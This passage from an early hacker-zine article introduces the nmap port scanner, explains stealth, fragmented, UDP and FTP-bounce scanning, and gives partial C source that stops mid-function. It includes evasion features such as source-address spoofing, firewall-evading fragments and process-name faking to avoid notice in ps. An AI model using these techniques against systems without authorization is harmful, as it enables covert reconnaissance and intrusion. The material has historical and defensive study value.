option in Linux), a lot of networks can't afford the performance hit this
causes.  This feature is rather unique to scanners (at least I haven't seen 
any others that do this).  Thanks to daemon9 for suggesting it.  The -f
instructs the specified SYN or FIN scan to use tiny fragmented packets.


- TCP reverse ident scanning : As noted by Dave Goldsmith in a 1996 Bugtraq
post, the ident protocol (rfc1413) allows for the disclosure of the username of
the owner of any process connected via TCP, even if that process didn't 
initiate the connection.  So you can, for example, connect to the http port 
and then use identd to find out whether the server is running as root.  This 
can only be done with a full TCP connection to the target port (i.e. the -t
option).  nmap's -i option queries identd for the owner of all listen()ing
ports.


- FTP bounce attack : An interesting "feature" of the ftp protocol (RFC 959) is
support for "proxy" ftp connections.  In other words, I should be able to
connect from evil.com to the FTP server-PI (protocol interpreter) of target.com
to establish the control communication connection.  Then I should be able to
request that the server-PI initiate an active server-DTP (data transfer
process) to send a file ANYWHERE on the internet!  Presumably to a User-DTP,
although the RFC specifically states that asking one server to send a file to
another is OK.  Now this may have worked well in 1985 when the RFC was just
written.  But nowadays, we can't have people hijacking ftp servers and
requesting that data be spit out to arbitrary points on the internet.  As
*Hobbit* wrote back in 1995, this protocol flaw "can be used to post virtually
untraceable mail and news, hammer on servers at various sites, fill up disks,
try to hop firewalls, and generally be annoying and hard to track down at the
same time."  What we will exploit this for is to (surprise, surprise) scan TCP
ports from a "proxy" ftp server.  Thus you could connect to an ftp server
behind a firewall, and then scan ports that are more likely to be blocked (139
is a good one).  If the ftp server allows reading from and writing to a
directory (such as /incoming), you can send arbitrary data to ports that you do
find open.

For port scanning, our technique is to use the PORT command to declare that
our passive "User-DTP" is listening on the target box at a certain port number.
 Then we try to LIST the current directory, and the result is sent over the
Server-DTP channel.  If our target host is listening on the specified port, the
transfer will be successful (generating a 150 and a 226 response).  Otherwise
we will get "425 Can't build data connection: Connection refused."  Then we
issue another PORT command to try the next port on the target host.  The
advantages to this approach are obvious (harder to trace, potential to bypass
firewalls).  The main disadvantages are that it is slow, and that some FTP
servers have finally got a clue and disabled the proxy "feature".  For what it
is worth, here is a list of banners from sites where it does/doesn't work:

*Bounce attacks worked:*

220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready

*Bounce attack failed:*

220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

The 'x's are partly there to protect those guilty of running a flawed server,
but mostly just to make the lines fit in 80 columns.  Same thing with the
ellipse points.  The bounce attack is available with the -b <proxy_server>
option of nmap.  proxy_server can be specified in standard URL format,
username:password@server:port , with everything but server being optional.


- UDP ICMP port unreachable scanning : This scanning method varies from the
above in that we are using the UDP protocol instead of TCP.  While this
protocol is simpler, scanning it is actually significantly more difficult.
This is because open ports don't have to send an acknowledgement in response to
our probe, and closed ports aren't even required to send an error packet.
Fortunately, most hosts do send an ICMP_PORT_UNREACH error when you send a
packet to a closed UDP port.  Thus you can find out if a port is NOT open, and
by exclusion determine which ports which are.  Neither UDP packets, nor the
ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also
implement retransmission of packets that appear to be lost (or you will get a
bunch of false positives).  Also, this scanning technique is slow because of
compensation for machines that took RFC 1812 section 4.3.2.8 to heart and limit
ICMP error message rate.  For example, the Linux kernel (in net/ipv4/icmp.h)
limits destination unreachable message generation to 80 per 4 seconds, with a
1/4 second penalty if that is exceeded.  At some point I will add a better
algorithm to nmap for detecting this.  Also, you will need to be root for
access to the raw ICMP socket necessary for reading the port unreachable.  The
-u (UDP) option of nmap implements this scanning method for root users.

Some people think UDP scanning is lame and pointless.  I usually remind them of
the recent Solaris rcpbind hole.  Rpcbind can be found hiding on an
undocumented UDP port somewhere above 32770.  So it doesn't matter that 111 is
blocked by the firewall.  But can you find which of the more than 30,000 high
ports it is listening on?  With a UDP scanner you can!


- UDP recvfrom() and write() scanning : While non-root users can't read
port unreachable errors directly, Linux is cool enough to inform the user
indirectly when they have been received.  For example a second write()
call to a closed port will usually fail.  A lot of scanners such as netcat
and Pluvius' pscan.c does this.  I have also noticed that recvfrom() on
non-blocking UDP sockets usually return EAGAIN ("Try Again", errno 13) if
the ICMP error hasn't been received, and ECONNREFUSED ("Connection refused", 
errno 111) if it has.  This is the technique used for determining open ports 
when non-root users use -u (UDP).  Root users can also use the -l (lamer
UDP scan) options to force this, but it is a really dumb idea.


- ICMP echo scanning : This isn't really port scanning, since ICMP doesn't have
a port abstraction.  But it is sometimes useful to determine what hosts in a
network are up by pinging them all.  the -P option does this.  Also you might
want to adjust the PING_TIMEOUT #define if you are scanning a large
network. nmap supports a host/bitmask notation to make this sort of thing
easier.  For example 'nmap -P cert.org/24 152.148.0.0/16' would scan CERT's
class C network and whatever class B entity 152.148.* represents.  Host/26 is
useful for 6-bit subnets within an organization.



[ Features ]

Prior to writing nmap, I spent a lot of time with other scanners exploring the
Internet and various private networks (note the avoidance of the "intranet"
buzzword).  I have used many of the top scanners available today, including
strobe by Julian Assange, netcat by *Hobbit*, stcp by Uriel Maimon, pscan by
Pluvius, ident-scan by Dave Goldsmith, and the SATAN tcp/udp scanners by
Wietse Venema.  These are all excellent scanners!  In fact, I ended up hacking
most of them to support the best features of the others.  Finally I decided
to write a whole new scanner, rather than rely on hacked versions of a dozen
different scanners in my /usr/local/sbin.  While I wrote all the code, nmap
uses a lot of good ideas from its predecessors.  I also incorporated some new
stuff like fragmentation scanning and options that were on my "wish list" for
other scanners.  Here are some of the (IMHO) useful features of nmap:

- dynamic delay time calculations: Some scanners require that you supply a
delay time between sending packets.  Well how should I know what to use?
Sure, I can ping them, but that is a pain, and plus the response time of many
hosts changes dramatically when they are being flooded with requests.  nmap
tries to determine the best delay time for you.  It also tries to keep track
of packet retransmissions, etc. so that it can modify this delay time during
the course of the scan.  For root users, the primary technique for finding an
initial delay is to time the internal "ping" function.  For non-root users, it
times an attempted connect() to a closed port on the target.  It can also pick
a reasonable default value.  Again, people who want to specify a delay
themselves can do so with -w (wait), but you shouldn't have to.

- retransmission: Some scanners just send out all the query packets, and
collect the responses.  But this can lead to false positives or negatives in
the case where packets are dropped.  This is especially important for
"negative" style scans like UDP and FIN, where what you are looking for is a
port that does NOT respond.  In most cases, nmap implements a configurable
number of retransmissions for ports that don't respond.

- parallel port scanning:  Some scanners simply scan ports linearly, one at a
time, until they do all 65535.  This actually works for TCP on a very fast 
local network, but the speed of this is not at all acceptable on a wide area 
network like the Internet.  nmap uses non-blocking i/o and parallel scanning 
in all TCP and UDP modes.  The number of scans in parallel is configurable
with the -M (Max sockets) option.  On a very fast network you will actually 
decrease performance if you do more than 18 or so.  On slow networks, high
values increase performance dramatically.

- Flexible port specification:  I don't always want to just scan all 65535
ports.  Also, the scanners which only allow you to scan ports 1 - N sometimes 
fall short of my need.  The -p option allows you to specify an arbitrary
number of ports and ranges for scanning.  For example, '-p 21-25,80,113,
60000-' does what you would expect (a trailing hyphen means up to 65536, a
leading hyphen means 1 through).  You can also use the -F (fast) option, which
scans all the ports registered in your /etc/services (a la strobe).

- Flexible target specification:  I often want to scan more then one host,
and I certainly don't want to list every single host on a large network to
scan.  Everything that isn't an option (or option argument) in nmap is
treated as a target host.  As mentioned before, you can optionally append
/mask to a hostname or IP address in order to scan all hosts with the same
initial <mask> bits of the 32 bit IP address.

- detection of down hosts:  Some scanners allow you to scan large networks, but
they waste a huge amount of time scanning 65535 ports of a dead host!  By
default, nmap pings each host to make sure it is up before wasting time on it.
It is also capable of bailing on hosts that seem down based on strange port
scanning errors.  It is also meant to be tolerant of people who accidentally scan
network addresses, broadcast addresses, etc.

- detection of your IP address: For some reason, a lot of scanners ask you to
type in your IP address as one of the parameters.  Jeez, I don't want to have
to 'ifconfig' and figure out my current address every time I scan.  Of course,
this is better then the scanners I've seen which require recompilation every
time you change your address!  nmap first tries to detect your address during
the ping stage.  It uses the address that the echo response is received on, as
that is the interface it should almost always be routed through.  If it can't
do this (like if you don't have host pinging enabled), nmap tries to detect
your primary interface and uses that address.  You can also use -S to specify
it directly, but you shouldn't have to (unless you want to make it look like
someone ELSE is SYN or FIN scanning a host.


Some other, more minor options:

 -v (verbose): This is highly recommended for interactive use.  Among other
useful messages, you will see ports come up as they are found, rather than
having to wait for the sorted summary list.

 -r (randomize): This will randomize the order in which the target host's
ports are scanned.

 -q (quash argv): This changes argv[0] to FAKE_ARGV ("pine" by default).
It also eliminates all other arguments, so you won't look too suspicious in
'w' or 'ps' listings.

 -h for an options summary.

Also look for http://www.dhp.com/~fyodor/nmap/, which is the web site I plan to
put future versions and more information on.  In fact, you would be well
advised to check there right now.


[ Greets ]

Of course this paper would not be complete without a shout out to all the 
people who made it possible.

* Congratulations to the people at Phrack for getting this thing going again!
* Greets to the whole dc-stuff crew.
* Greets to the STUPH, Turntec, L0pht, TACD, the Guild, cDc, and all the other
  groups who help keep the scene alive.
* Shout out to _eci for disclosing the coolest Windows bug in recent history.
* Thanks to the Data Haven Project (dhp.com) admins for providing such great
  service for $10/month.  
* And a special shout out goes to all my friends.  You know who
  you are and some of you (wisely) stay out of the spotlight, so I'll keep you
  anonymous ... except of course for Ken and Jay, and Avenger, Grog, Cash
  Monies, Ethernet Kid, Zos, JuICe, Mother Prednisone, and Karen.


And finally, we get to ...


[ The code ]

This should compile fine on any Linux box with 'gcc -O6 -o nmap nmap.c -lm'.
It is distrubuted under the terms of the GNU GENERAL PUBLIC LICENSE.  If you
have problems or comments, feel free to mail me (fyodor@dhp.com).

<++> nmap/Makefile
# A trivial makefile for Network Mapper
nmap: nmap.c nmap.h
	gcc -Wall -O6 -o nmap nmap.c -lm
<-->

<++> nmap/nmap.h
#ifndef NMAP_H
#define NMAP_H

/************************INCLUDES**********************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <rpc/types.h>
#include <sys/socket.h>
#include <sys/socket.h> 
#include <sys/stat.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h> 
#include <signal.h>
#include <linux/ip.h> /*<netinet/ip.h>*/
#include <linux/icmp.h> /*<netinet/ip_icmp.h>*/
#include <arpa/inet.h>
#include <math.h>
#include <time.h>
#include <sys/time.h> 
#include <asm/byteorder.h>
#include <netinet/ip_tcp.h>

/************************DEFINES************************************/

/* #define to zero if you don't want to	ignore hosts of the form 
   xxx.xxx.xxx.{0,255} (usually network and broadcast addresses) */
#define IGNORE_ZERO_AND_255_HOSTS 1

#define DEBUGGING 0

/* Default number of ports in paralell.  Doesn't always involve actual 
   sockets.  Can also adjust with the -M command line option.  */
#define MAX_SOCKETS 36 
/* If reads of a UDP port keep returning EAGAIN (errno 13), do we want to 
   count the port as valid? */
#define RISKY_UDP_SCAN 0
 /* This ideally should be a port that isn't in use for any protocol on our machine or on the target */ 
#define MAGIC_PORT 49724
/* How many udp sends without a ICMP port unreachable error does it take before we consider the port open? */
#define UDP_MAX_PORT_RETRIES 4
 /*How many seconds before we give up on a host being alive? */
#define PING_TIMEOUT 2
#define FAKE_ARGV "pine" /* What ps and w should show if you use -q */
/* How do we want to log into ftp sites for */ 
#define FTPUSER "anonymous"
#define FTPPASS "-wwwuser@"
#define FTP_RETRIES 2 /* How many times should we relogin if we lose control
                         connection? */

#define UC(b)   (((int)b)&0xff)
#define MORE_FRAGMENTS 8192 /*NOT a user serviceable parameter*/
#define fatal(x) { fprintf(stderr, "%s\n", x); exit(-1); }
#define error(x) fprintf(stderr, "%s\n", x);

/***********************STRUCTURES**********************************/

typedef struct port {
  unsigned short portno;
  unsigned char proto;
  char *owner;
  struct port *next;
} port;

struct ftpinfo {
  char user[64];
  char pass[256]; /* methinks you're paranoid if you need this much space */
  char server_name[MAXHOSTNAMELEN + 1];
  struct in_addr server;
  unsigned short port;
  int sd; /* socket descriptor */
};

typedef port *portlist;

/***********************PROTOTYPES**********************************/

/* print usage information */
void printusage(char *name);

/* our scanning functions */
portlist tcp_scan(struct in_addr target, unsigned short *portarray, 
		  portlist *ports);
portlist syn_scan(struct in_addr target, unsigned short *portarray,
		  struct in_addr *source, int fragment, portlist *ports);
portlist fin_scan(struct in_addr target, unsigned short *portarray,
		  struct in_addr *source, int fragment, portlist *ports);
portlist udp_scan(struct in_addr target, unsigned short *portarray,
		  portlist *ports);
portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray,
			portlist *ports);
portlist bounce_scan(struct in_addr target, unsigned short *portarray,
		     struct ftpinfo *ftp, portlist *ports);

/* Scan helper functions */
unsigned long calculate_sleep(struct in_addr target);
int check_ident_port(struct in_addr target);
int getidentinfoz(struct in_addr target, int localport, int remoteport,
		  char *owner);
int parse_bounce(struct ftpinfo *ftp, char *url);
int ftp_anon_connect(struct ftpinfo *ftp);

/* port manipulators */
unsigned short *getpts(char *expr); /* someone stole the name getports()! */
unsigned short *getfastports(int tcpscan, int udpscan);
int addport(portlist *ports, unsigned short portno, unsigned short protocol,
	    char *owner);
int deleteport(portlist *ports, unsigned short portno, unsigned short protocol);
void printandfreeports(portlist ports);
int shortfry(unsigned short *ports);

/* socket manipulation functions */
void init_socket(int sd);
int unblock_socket(int sd);
int block_socket(int sd);
int recvtime(int sd, char *buf, int len, int seconds);

/* RAW packet building/dissasembling stuff */
int send_tcp_raw( int sd, struct in_addr *source, 
		  struct in_addr *victim, unsigned short sport, 
		  unsigned short dport, unsigned long seq,
		  unsigned long ack, unsigned char flags,
		  unsigned short window, char *data,
		  unsigned short datalen);
int isup(struct in_addr target);
unsigned short in_cksum(unsigned short *ptr,int nbytes);
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
		     int sport, int dport, int flags);
int readtcppacket(char *packet, int readdata);
int listen_icmp(int icmpsock, unsigned short outports[],
		unsigned short numtries[], int *num_out,
		struct in_addr target, portlist *ports);

/* general helper functions */
void hdump(unsigned char *packet, int len);
void *safe_malloc(int size);
#endif /* NMAP_H */
<-->

<++> nmap/nmap.c

#include "nmap.h"

/* global options */
short debugging = DEBUGGING;
short verbose = 0;
int number_of_ports  = 0; /* How many ports do we scan per machine? */
int max_parallel_sockets = MAX_SOCKETS;
extern char *optarg;
extern int optind;
short isr00t = 0;
short identscan = 0;
char current_name[MAXHOSTNAMELEN + 1];
unsigned long global_delay = 0;
unsigned long global_rtt = 0;
struct in_addr ouraddr = { 0 };

int main(int argc, char *argv[]) {
int i, j, arg, argvlen;
short fastscan=0, tcpscan=0, udpscan=0, synscan=0, randomize=0;
short fragscan = 0, finscan = 0, quashargv = 0, pingscan = 0, lamerscan = 0;
short bouncescan = 0;
short *ports = NULL, mask;
struct ftpinfo ftp = { FTPUSER, FTPPASS, "", { 0 }, 21, 0};
portlist openports = NULL;
struct hostent *target = 0;
unsigned long int lastip, currentip, longtmp;
char *target_net, *p;
struct in_addr current_in, *source=NULL;
int hostup = 0;
char *fakeargv[argc + 1];

/* argv faking silliness */
for(i=0; i < argc; i++) {
  fakeargv[i] = safe_malloc(strlen(argv[i]) + 1);
  strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
}
fakeargv[argc] = NULL;

if (argc < 2 ) printusage(argv[0]);

/* OK, lets parse these args! */
while((arg = getopt(argc,fakeargv,"b:dFfhilM:Pp:qrS:stUuw:v")) != EOF) {
  switch(arg) {
  case 'b': 
    bouncescan++;
    if (parse_bounce(&ftp, optarg) < 0 ) {
      fprintf(stderr, "Your argument to -b is fucked up. Use the normal url style:  user:pass@server:port or just use server and use default anon login\n  Use -h for help\n");
    }
    break;
  case 'd': debugging++; break;
  case 'F': fastscan++; break;
  case 'f': fragscan++; break;
  case 'h': 
  case '?': printusage(argv[0]);
  case 'i': identscan++; break;
  case 'l': lamerscan++; udpscan++; break;
  case 'M': max_parallel_sockets = atoi(optarg); break;
  case 'P': pingscan++; break;
  case 'p': 
    if (ports)
      fatal("Only 1 -p option allowed, seperate multiple ranges with commas.");
    ports = getpts(optarg); break;
  case 'r': randomize++; break;
  case 's': synscan++; break;
  case 'S': 
    if (source)
      fatal("You can only use the source option once!\n");
    source = safe_malloc(sizeof(struct in_addr));
    if (!inet_aton(optarg, source))
      fatal("You must give the source address in dotted deciman, currently.\n");
    break;
  case 't': tcpscan++; break;
  case 'U': finscan++; break;
  case 'u': udpscan++; break;
  case 'q': quashargv++; break;
  case 'w': global_delay = atoi(optarg); break;
  case 'v': verbose++;
  }
}

/* Take care of user wierdness */
isr00t = !(geteuid()|geteuid());
if (tcpscan && synscan) 
  fatal("The -t and -s options can't be used together.\
 If you are trying to do TCP SYN scanning, just use -s.\
 For normal connect() style scanning, use -t");
if ((synscan || finscan || fragscan || pingscan) && !isr00t)
  fatal("Options specified require r00t privileges.  You don't have them!");
if (!tcpscan && !udpscan && !synscan && !finscan && !bouncescan && !pingscan) {
  tcpscan++;
  if (verbose) error("No scantype specified, assuming vanilla tcp connect()\
 scan. Use -P if you really don't want to portscan.");
if (fastscan && ports)
  fatal("You can use -F (fastscan) OR -p for explicit port specification.\
  Not both!\n");
}
/* If he wants to bounce of an ftp site, that site better damn well be reachable! */
if (bouncescan) {
  if (!inet_aton(ftp.server_name, &ftp.server)) {
    if ((target = gethostbyname(ftp.server_name)))
      memcpy(&ftp.server, target->h_addr_list[0], 4);
    else {
      fprintf(stderr, "Failed to resolve ftp bounce proxy hostname/IP: %s\n",
	      ftp.server_name);
      exit(1);
    } 
  }  else if (verbose)
    printf("Resolved ftp bounce attack proxy to %s (%s).\n", 
	   target->h_name, inet_ntoa(ftp.server)); 
}
printf("\nStarting nmap V 1.21 by Fyodor (fyodor@dhp.com, www.dhp.com/~fyodor/nmap/\n");
if (!verbose) 
  error("Hint: The -v option notifies you of open ports as they are found.\n");
if (fastscan)
  ports = getfastports(synscan|tcpscan|fragscan|finscan|bouncescan,
                       udpscan|lamerscan);
if (!ports) ports = getpts("1-1024");

/* more fakeargv junk, BTW malloc'ing extra space in argv[0] doesn't work */
if (quashargv) {
  argvlen = strlen(argv[0]);
  if (argvlen < strlen(FAKE_ARGV))
    fatal("If you want me to fake your argv, you need to call the program with a longer name.  Try the full pathname, or rename it fyodorssuperdedouperportscanner");
  strncpy(argv[0], FAKE_ARGV, strlen(FAKE_ARGV));
  for(i = strlen(FAKE_ARGV); i < argvlen; i++) argv[0][i] = '\0';
  for(i=1; i < argc; i++) {
    argvlen = strlen(argv[i]);
    for(j=0; j <= argvlen; j++)
      argv[i][j] = '\0';
  }
}

srand(time(NULL));

while(optind < argc) {
  
  /* Time to parse the allowed mask */
  target = NULL;
  target_net = strtok(strdup(fakeargv[optind]), "/");
  mask = (p = strtok(NULL,""))? atoi(p) : 32;
  if (debugging)
    printf("Target network is %s, scanmask is %d\n", target_net, mask);
  
  if (!inet_aton(target_net, &current_in)) {
    if ((target = gethostbyname(target_net)))
      memcpy(&currentip, target->h_addr_list[0], 4);
    else {
      fprintf(stderr, "Failed to resolve given hostname/IP: %s\n", target_net);
    }
  } else currentip = current_in.s_addr;

  longtmp = ntohl(currentip);
  currentip = longtmp & (unsigned long) (0 - pow(2,32 - mask));
  lastip = longtmp | (unsigned long) (pow(2,32 - mask) - 1);
  while (currentip <= lastip) {
    openports = NULL;
    longtmp = htonl(currentip);
    target = gethostbyaddr((char *) &longtmp, 4, AF_INET);
    current_in.s_addr = longtmp;
    if (target)
      strncpy(current_name, target->h_name, MAXHOSTNAMELEN);
    else current_name[0] = '\0';
    current_name[MAXHOSTNAMELEN + 1] = '\0';
    if (randomize)
      shortfry(ports); 
#ifdef IGNORE_ZERO_AND_255_HOSTS
    if (IGNORE_ZERO_AND_255_HOSTS 
	&& (!(currentip % 256) || currentip % 256 == 255))
      {
	printf("Skipping host %s because IGNORE_ZERO_AND_255_HOSTS is set in the source.\n", inet_ntoa(current_in));
	hostup = 0;
      }
    else{
#endif
      if (isr00t) {
	if (!(hostup = isup(current_in))) {
	  if (!pingscan)
	    printf("Host %s (%s) appears to be down, skipping scan.\n",
		   current_name, inet_ntoa(current_in));
	  else
	    printf("Host %s (%s) appears to be  down\n",
		   current_name, inet_ntoa(current_in));
	} else if (debugging || pingscan)
	  printf("Host %s (%s) appears to be up ... good.\n",
                 current_name, inet_ntoa(current_in));
      }
      else hostup = 1; /* We don't really check because the lamer isn't root.*/
    }
    
    /* Time for some actual scanning! */    
    if (hostup) {
      if (tcpscan) tcp_scan(current_in, ports, &openports);
      
      if (synscan) syn_scan(current_in, ports, source, fragscan, &openports);
      
      if (finscan) fin_scan(current_in, ports, source, fragscan, &openports);
      
      if (bouncescan) {
	if (ftp.sd <= 0) ftp_anon_connect(&ftp);
	if (ftp.sd > 0) bounce_scan(current_in, ports, &ftp, &openports);
	  }
      if (udpscan) {
	if (!isr00t || lamerscan) 
	  lamer_udp_scan(current_in, ports, &openports);

	else udp_scan(current_in, ports, &openports);
      }
    
      if (!openports && !pingscan)
	printf("No ports open for host %s (%s)\n", current_name,
	       inet_ntoa(current_in));
      if (openports) {
	printf("Open ports on %s (%s):\n", current_name, 
	       inet_ntoa(current_in));
	printandfreeports(openports);
      }
    }
    currentip++;
  }
  optind++;
}

return 0;
}

__inline__ int unblock_socket(int sd) {
int options;
/*Unblock our socket to prevent recvfrom from blocking forever 
  on certain target ports. */
options = O_NONBLOCK | fcntl(sd, F_GETFL);
fcntl(sd, F_SETFL, options);
return 1;
}

__inline__ int block_socket(int sd) {
int options;
options = (~O_NONBLOCK) & fcntl(sd, F_GETFL);
fcntl(sd, F_SETFL, options);
return 1;
}

/* Currently only sets SO_LINGER, I haven't seen any evidence that this
   helps.  I'll do more testing before dumping it. */
__inline__ void init_socket(int sd) {
struct linger l;

l.l_onoff = 1;
l.l_linger = 0;

if (setsockopt(sd, SOL_SOCKET, SO_LINGER,  &l, sizeof(struct linger)))
  {
   fprintf(stderr, "Problem setting socket SO_LINGER, errno: %d\n", errno);
   perror("setsockopt");
  }
}

/* Convert a string like "-100,200-1024,3000-4000,60000-" into an array 
   of port numbers*/
unsigned short *getpts(char *origexpr) {
int exlen = strlen(origexpr);
char *p,*q;
unsigned short *tmp, *ports;
int i=0, j=0,start,end;
char *expr = strdup(origexpr);
ports = safe_malloc(65536 * sizeof(short));
i++;
i--;
for(;j < exlen; j++) 
  if (expr[j] != ' ') expr[i++] = expr[j]; 
expr[i] = '\0';
exlen = i + 1;
i=0;
while((p = strchr(expr,','))) {
  *p = '\0';
  if (*expr == '-') {start = 1; end = atoi(expr+ 1);}
  else {
    start = end = atoi(expr);
    if ((q = strchr(expr,'-')) && *(q+1) ) end = atoi(q + 1);
    else if (q && !*(q+1)) end = 65535;
  }
  if (debugging)
    printf("The first port is %d, and the last one is %d\n", start, end);
  if (start < 1 || start > end) fatal("Your port specifications are illegal!");
  for(j=start; j <= end; j++) 
    ports[i++] = j;
  expr = p + 1;
}
if (*expr == '-') {
  start = 1;
  end = atoi(expr+ 1);
}
else {
  start = end = atoi(expr);
  if ((q =  strchr(expr,'-')) && *(q+1) ) end = atoi(q+1);
  else if (q && !*(q+1)) end = 65535;
}
if (debugging)
  printf("The first port is %d, and the last one is %d\n", start, end);
if (start < 1 || start > end) fatal("Your port specifications are illegal!");
for(j=start; j <= end; j++) 
  ports[i++] = j;
number_of_ports = i;
ports[i++] = 0;
tmp = realloc(ports, i * sizeof(short));
  free(expr);
  return tmp;
}

unsigned short *getfastports(int tcpscan, int udpscan) {
  int portindex = 0, res, lastport = 0;
  unsigned int portno = 0;
  unsigned short *ports;
  char proto[10];
  char line[81];
  FILE *fp;
  ports = safe_malloc(65535 * sizeof(unsigned short));
  proto[0] = '\0';
  if (!(fp = fopen("/etc/services", "r"))) {
    printf("We can't open /etc/services for reading!  Fix your system or don't use -f\n");
    perror("fopen");
    exit(1);
  }
  
  while(fgets(line, 80, fp)) {
    res = sscanf(line, "%*s %u/%s", &portno, proto);
    if (res == 2 && portno != 0 && portno != lastport) { 
      lastport = portno;
      if (tcpscan && proto[0] == 't')
	ports[portindex++] = portno;
      else if (udpscan && proto[0] == 'u')
	ports[portindex++] = portno;
    }
  }


number_of_ports = portindex;
ports[portindex++] = 0;
return realloc(ports, portindex * sizeof(unsigned short));
}

void printusage(char *name) {
printf("%s [options] [hostname[/mask] . . .]
options (none are required, most can be combined):
   -t tcp connect() port scan
   -s tcp SYN stealth port scan (must be root)
   -u UDP port scan, will use MUCH better version if you are root
   -U Uriel Maimon (P49-15) style FIN stealth scan.
   -l Do the lamer UDP scan even if root.  Less accurate.
   -P ping \"scan\". Find which hosts on specified network(s) are up.
   -b <ftp_relay_host> ftp \"bounce attack\" port scan
   -f use tiny fragmented packets for SYN or FIN scan.
   -i Get identd (rfc 1413) info on listening TCP processes.
   -p <range> ports: ex: \'-p 23\' will only try port 23 of the host(s)
                  \'-p 20-30,63000-\' scans 20-30 and 63000-65535 default: 1-1024
   -F fast scan. Only scans ports in /etc/services, a la strobe(1).
   -r randomize target port scanning order.
   -h help, print this junk.  Also see http://www.dhp.com/~fyodor/nmap/
   -S If you want to specify the source address of SYN or FYN scan.
   -v Verbose.  Its use is recommended.  Use twice for greater effect.
   -w <n> delay.  n microsecond delay. Not recommended unless needed.
   -M <n> maximum number of parallel sockets.  Larger isn't always better.
   -q quash argv to something benign, currently set to \"%s\".
Hostnames specified as internet hostname or IP address.  Optional '/mask' specifies subnet. cert.org/24 or 192.88.209.5/24 scan CERT's Class C.\n", 
       name, FAKE_ARGV);
exit(1);
}

portlist tcp_scan(struct in_addr target, unsigned short *portarray, portlist *ports) {

int starttime, current_out = 0, res , deadindex = 0, i=0, j=0, k=0, max=0; 
struct sockaddr_in sock, stranger, mysock;
int sockaddr_in_len = sizeof(struct sockaddr_in);
int sockets[max_parallel_sockets], deadstack[max_parallel_sockets];
unsigned short portno[max_parallel_sockets];
char owner[513], buf[65536]; 
int tryident = identscan, current_socket /*actually it is a socket INDEX*/;
fd_set fds_read, fds_write;
struct timeval nowait = {0,0},  longwait = {7,0}; 

signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE so our 'write 0 bytes' test
			     doesn't crash our program!*/
owner[0] = '\0';
starttime = time(NULL);
bzero((char *)&sock,sizeof(struct sockaddr_in));
sock.sin_addr.s_addr = target.s_addr;
if (verbose || debugging)
  printf("Initiating TCP connect() scan against %s (%s)\n",
	 current_name,  inet_ntoa(sock.sin_addr));
sock.sin_family=AF_INET;
FD_ZERO(&fds_read);
FD_ZERO(&fds_write);

if (tryident)
  tryident = check_ident_port(target);

/* Initially, all of our sockets are "dead" */
for(i = 0 ; i < max_parallel_sockets; i++) {
  deadstack[deadindex++] = i;
  portno[i] = 0;
}

deadindex--; 
/* deadindex always points to the most recently added dead socket index */

while(portarray[j]) {
  longwait.tv_sec = 7;
  longwait.tv_usec = nowait.tv_sec = nowait.tv_usec = 0;
  
  for(i=current_out; i < max_parallel_sockets && portarray[j]; i++, j++) {
    current_socket = deadstack[deadindex--];
    if ((sockets[current_socket] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
      {perror("Socket troubles"); exit(1);}
    if (sockets[current_socket] > max) max = sockets[current_socket]; 
    current_out++;
    unblock_socket(sockets[current_socket]);
    init_socket(sockets[current_socket]);
    portno[current_socket] = portarray[j];
    sock.sin_port = htons(portarray[j]);
    if ((res = connect(sockets[current_socket],(struct sockaddr *)&sock,sizeof(struct sockaddr)))!=-1)
      printf("WTF???? I think we got a successful connection in non-blocking!!@#$\n");
    else {
      switch(errno) {
      case EINPROGRESS: /* The one I always see */
      case EAGAIN:
	block_socket(sockets[current_socket]);
	FD_SET(sockets[current_socket], &fds_write);
	FD_SET(sockets[current_socket], &fds_read);
	break;
      default:
	printf("Strange error from connect: (%d)", errno);
	perror(""); /*falling through intentionally*/
      case ECONNREFUSED:
	if (max == sockets[current_socket]) max--;
	deadstack[++deadindex] = current_socket;
	current_out--;
	portno[current_socket] = 0;
	close(sockets[current_socket]);
	break;
      }
    }
  }
  if (!portarray[j]) sleep(1); /*wait a second for any last packets*/
  while((res = select(max + 1, &fds_read, &fds_write, NULL, 
		      (current_out < max_parallel_sockets)?
		      &nowait : &longwait)) > 0) {
    for(k=0; k < max_parallel_sockets; k++)
      if (portno[k]) {
	if (FD_ISSET(sockets[k], &fds_write)
	    && FD_ISSET(sockets[k], &fds_read)) {
	  /*printf("Socket at port %hi is selectable for r & w.", portno[k]);*/
	  res = recvfrom(sockets[k], buf, 65536, 0, (struct sockaddr *)
			 & stranger, &sockaddr_in_len);
	  if (res >= 0) {
	    if (debugging || verbose)
	      printf("Adding TCP port %hi due to successful read.\n", 
		     portno[k]);
	    if (tryident) {
	      if ( getsockname(sockets[k], (struct sockaddr *) &mysock,
			       &sockaddr_in_len ) ) {
		perror("getsockname");
		exit(1);
	      }
	      tryident = getidentinfoz(target, ntohs(mysock.sin_port),
				       portno[k], owner);
	    }	    
	    addport(ports, portno[k], IPPROTO_TCP, owner);
	  }
	  if (max == sockets[k])
	    max--;
	  FD_CLR(sockets[k], &fds_read);
	  FD_CLR(sockets[k], &fds_write);
	  deadstack[++deadindex] = k;
	  current_out--;
	  portno[k] = 0;
	  close(sockets[k]);
	}
	else if(FD_ISSET(sockets[k], &fds_write)) {
